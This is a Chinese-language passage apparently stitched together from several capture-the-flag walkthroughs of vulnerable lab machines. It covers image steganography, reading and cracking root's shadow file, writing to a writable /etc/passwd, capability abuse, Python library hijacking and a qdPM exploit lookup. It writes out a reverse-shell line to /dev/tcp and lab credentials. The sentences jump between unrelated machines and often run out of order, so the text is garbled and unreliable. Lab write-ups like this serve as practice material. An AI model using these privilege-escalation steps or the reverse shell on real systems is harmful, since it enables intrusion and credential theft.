书山有路勤为径，学海无涯苦作舟

把它复制到windows的world里，图片格式–>矫正–>图片矫正选项–>对比度-56%，就能看到账户密码。可以看到home目录下还有好多其他用户，这里脑洞较为大，还得回到那张图片white.png。使用上面的方法，换个思路，读取root的shadow 文件，然后进行爆破。可以识别的hash，然后进行爆破,得到密码是invisible。将私钥复制出来编辑到id_rsa，这登录还需要密码，我们使用。页面只有个white.png空白图片，猜测是图片隐写。读取到root的私钥，获得第二个flag。

VM网络不通也没法改密码进去，只能下个VirtualBox和VMware互通了但这也不行，看来只能使用端口映射了。

由substitute单词翻译是代替可以知道，这是简单的替换密码。替换格式也表明了明文（plaintext）密文(ciphertext)，就是把26字母倒叙替换，很容易写脚本。下载知名豌豆扫描工具linpeas发现passwd 有写入权限，那么我们可以直接写入一个root权限的用户或者更改他的账号密码。一长串的进行base64解码。再进行brainfuck解码得到。猜测账户就是player。

这个是google的shell下翻译工具，所以google需要科学上网，我们在后面加上了-x代理，成功读取到shadow文件。也可以通过https://www.dcode.fr/cipher-identifier 发现是使用atbash编码。利用trans 进行提权，命令介绍：https://www.jianshu.com/p/da570df21ae8。sh -i >& /dev/tcp/ 192.168.44.128 / 9001 0>&1不行。也可以通过如下命令直接提权到root，反正我是不成功。

由于这是本地kali生成的公钥和私钥对，所以把公钥上传到靶机的/home/john/.ssh/authorized_keys就可以实现免密登录。我们在/tmp/下创建一个id_rsa.pub，然后使用exiftool将“id rsa.pub”复制到“authorized_key”中。这里扫描出来了一个文件包含名字的文件，尝试对其进行fuzz 参数。接下来去包含这个文件，如下说明写入成功http://192.168.18.238/a.php。读取系统上的任何文件，无论其权限如何。搜索属于用户组的文件。

做virtualBox的端口映射吧。

cap_dac_read_search=eip”是指Linux操作系统中与文件访问权限相关的概念。“cap_dac”代表“任意访问能力”，指的是基于文件所有者、组和其他用户的权限。下面我们尝试使用nmap 打开如下的文件,获取mysql的账号密码，提示说是root的账号密码，尝试登录并不是。打开后文件是在这个路径下创建的 /dev/mapper/olive_img，然后我们可以mount 命令挂载该文件。命令是在 Linux 系统中用于查看文件的特殊权限（capabilities）的工具。

实战中，如果机器不出网，我们可以修改该脚本的内容，让它可以使用 SUID 执行 bash。或者直接创建一个root权限的账号。查看这个文件为root 权限，该脚本导入了wild 模块，执行后调用first()方法，输出一个hello。我们对改文件具有修改的权限，因此可以尝试python库劫持进行提取。那么接下来我们可以使用python反弹一个shell,代码如下。然后去这个网站搜索相关命令getshell，，，awk。我们搜索该模块，查看模块内容如下。

ASLR是一种针对缓冲区溢出的安全保护技术，通过对堆、栈、共享库映射等线性区布局的随机化，通过增加攻击者预测目的地址的难度，防止攻击者直接定位攻击代码位置，达到阻止溢出攻击的目的。之后，我检查了 esp 寄存器，并由于小端字节序而用相反顺序的esp地址(由于此时esp地址存储的是下一跳地址，所以还有一种方法二，这个地址话可以填成jmp esp指令的地址（但是，目标上的 ASLR 已启用，如果没有 root 权限，我们无法禁用它。在windows中使用此技术后，杀死进程后重新开启，地址不换，重启才会改变。

google搜图，谷歌上找到了这个地方叫maidens tower(处女塔)尝试使用这个地方名作为密码登录ssh 居然真成功了。这有一个 s-nail 文件，查看漏洞库发现低于 14.8.16 的版本存在漏洞。访问http://192.168.44.138//kingchad.html是一张带字的图，翻译。很奇怪，扫描到什么就会出现什么，访问都是同一堆字符。get出来，解压出来，得到用户名chad。访问首页，右键检查源码，解码后没啥用。密码：maidenstower。开放了21，22，80。

刚开始没有IP单用户修改密码也需要输入用户密码，不能改/boot/grub/grub.cfg配置文件下看了wp，才知道root用户密码ToyStory3，进去后也没有dhclient命令获取ip只能换一种方式，编辑vim /etc/network/interface。

程序中的/devel将由用户root调用目标机器的/tmp/dev。下载得到数据库的用户密码http://192.168.44.141/core/config/databases.yml。但是登陆时候确是404http://192.168.44.141/index.php/login。kali上监听，访问http://party.bah.hmv/devel/即可！重新安装漏洞http://192.168.44.141/install。访问80发现是qdPMcms的网站，直接searchsploit。

kali和quick3都设置NAT模式。